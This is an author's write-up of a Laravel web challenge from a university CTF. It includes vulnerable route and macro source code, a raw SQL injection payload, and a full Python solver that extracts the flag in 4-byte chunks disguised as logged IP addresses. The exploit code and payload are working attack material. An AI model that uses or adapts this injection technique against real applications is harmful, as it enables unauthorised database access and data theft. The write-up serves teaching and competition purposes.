ASU CTF 14 - Flash challenge

2026-06-08

Flash

TL;DR: A "flash banner" feature lets you pick which CSS class to render. The class name is dispatched as a method on the flash object, and one of those methods is a macro that interpolates its argument straight into raw SQL.

"Flash" is a medium whitebox web challenge built on Laravel. It's a small app with three routes:

The flag lives in a flag table. You need SQL injection to get it out.

Source code

The routes:

// routes/web.php
Route::get('/', function () {
    if ($cfg = FlashConfig::first()) {
        flash($cfg->message, $cfg->class);   // <-- message + class are attacker controlled
    }
    return view('index');
});

Route::post('/configure', function (Request $request) {
    FlashConfig::updateOrCreate(['id' => 1], $request->only(['message', 'class']));
    return redirect('/');
});

Route::get('/history', function () {
    $lines = FlashHistory::oldest('id')->get()->map(
        fn ($h) => "[{$h->created_at}] " . long2ip($h->ip)   // <-- integer -> dotted IP
    )->implode("\n");
    return response($lines."\n", 200, ['Content-Type' => 'text/plain']);
});

And the important part, a set of flash macros registered in the service provider:

// app/Providers/AppServiceProvider.php
Flash::macro('log', function (string $ip) {
    DB::table("flash_history")->insert([
        'ip'         => DB::raw("INET_ATON('$ip')"),   // <-- raw string interpolation
        'created_at' => DB::raw('NOW()'),
    ]);
    return $this;
});

// log each message view by IP address.
foreach (['success', 'error', 'warning'] as $level) {
    Flash::macro($level, function (string $message) use ($level) {
        $this->log(request()->ip());
        $this->flashMessage(new Message($message, $level));
        return $this;
    });
}

A Simple SQL Injection?

If you look at the log macro the bug seems obvious; $ip is interpolated into INET_ATON('$ip') with no SQL escaping, so you'd think you can inject SQL there and get the flag.

The problem is that the IP comes from the framework itself request()->ip() and you cannot spoof your IP to an SQL injection payload.

How to exploit?

The home route calls flash($cfg->message, $cfg->class), and spatie/laravel-flash resolves the class like this:

if (static::hasMacro($message->class)) {
    $this->{$message->class}($message->message);
}

If the class you supplied is a registered macro, the library calls that macro as a method, passing your message as its argument.

log is a registered macro. So setting class=log makes the library invoke:

$this->log($message);   // your controlled message, which could be an SQL payload

which lands directly in INET_ATON('$message').

Exploit

::log builds this query:

insert into flash_history (ip, created_at) values (INET_ATON('<MSG>'), NOW())

To recover the flag, you need to show it in the logs. However, there is no plaintext column in the logs table. The columns are:

How to exfiltrate the flag

The trick is to extract the flag as 4-byte chunks stored in the ip column. You just have to encode each 4 charachters as an unsigned integer, and recover them later.

The message we POST is:

127.0.0.1'), NOW()),
(CONV(HEX((SELECT SUBSTR(flag, 0, 4)  from flag)), 16, 10), DATE('2000-01-01')),
(CONV(HEX((SELECT SUBSTR(flag, 4, 4)  from flag)), 16, 10), DATE('2000-01-01')),
(CONV(HEX((SELECT SUBSTR(flag, 8, 4)  from flag)), 16, 10), DATE('2000-01-01')),
...
(CONV(HEX((SELECT SUBSTR(flag, 56, 4) from flag)), 16, 10), DATE('2000-01-01'))-- -

One detail that makes this work cleanly is using a fixed date DATE('2000-01-01') to tag every injected row, so the your solver can pick them out of /history (maybe not needed, but this was helpful for me while writing the challenge).

Solver

# query insert into `flash_history` (`ip`, `created_at`) values (INET_ATON('XXXXXX'), NOW()))
import requests
import sys
import re
import ipaddress

s = requests.Session()

url = sys.argv[1] # url

"""
1. Get a CSRF token
"""
r = s.get(url + '/configure')
csrf = re.findall(r"name=\"_token\" value=\"(?P<token>.+)\" ", r.text, re.MULTILINE)[0]


"""
2. Exploit.
insert flag fragments as IP addresses.
"""
injection = """(CONV(HEX( (SELECT SUBSTR(flag, 0, 4) from flag) ), 16, 10), DATE('2000-01-01')),
(CONV(HEX( (SELECT SUBSTR(flag, 4, 4) from flag) ), 16, 10), DATE('2000-01-01')),
(CONV(HEX( (SELECT SUBSTR(flag, 8, 4) from flag) ), 16, 10), DATE('2000-01-01')),
(CONV(HEX( (SELECT SUBSTR(flag, 12, 4) from flag) ), 16, 10), DATE('2000-01-01')),
(CONV(HEX( (SELECT SUBSTR(flag, 16, 4) from flag) ), 16, 10), DATE('2000-01-01')),
(CONV(HEX( (SELECT SUBSTR(flag, 20, 4) from flag) ), 16, 10), DATE('2000-01-01')),
(CONV(HEX( (SELECT SUBSTR(flag, 24, 4) from flag) ), 16, 10), DATE('2000-01-01')),
(CONV(HEX( (SELECT SUBSTR(flag, 28, 4) from flag) ), 16, 10), DATE('2000-01-01')),
(CONV(HEX( (SELECT SUBSTR(flag, 32, 4) from flag) ), 16, 10), DATE('2000-01-01')),
(CONV(HEX( (SELECT SUBSTR(flag, 36, 4) from flag) ), 16, 10), DATE('2000-01-01')),
(CONV(HEX( (SELECT SUBSTR(flag, 40, 4) from flag) ), 16, 10), DATE('2000-01-01')),
(CONV(HEX( (SELECT SUBSTR(flag, 44, 4) from flag) ), 16, 10), DATE('2000-01-01')),
(CONV(HEX( (SELECT SUBSTR(flag, 48, 4) from flag) ), 16, 10), DATE('2000-01-01')),
(CONV(HEX( (SELECT SUBSTR(flag, 52, 4) from flag) ), 16, 10), DATE('2000-01-01')),
(CONV(HEX( (SELECT SUBSTR(flag, 56, 4) from flag) ), 16, 10), DATE('2000-01-01'))"""

r = s.post(url + '/configure', data={
    '_token': csrf,
    'message': f"127.0.0.1'), NOW()), {injection}-- -",
    # !! laravel-flash will do a $this->$$class()
    'class': 'log'
})


"""
3. Recover flag fragments from the IP addresses
"""
r = s.get(url + '/history')
for line in r.text.splitlines():
    if '2000-01-01' in line:
        ip = line.split('] ')[1]
        leak = hex(int(ipaddress.IPv4Address(ip)))
        if leak == '0x0':
            continue
        decoded = bytes.fromhex(leak[2:]).decode('utf-8')
        print(decoded, end="", flush=True)
print("")

About the CTF

This was ASU CTF 14, an on-campus CTF. I ran the infrastructure and authored a couple of the web and pwn challenges, including this one.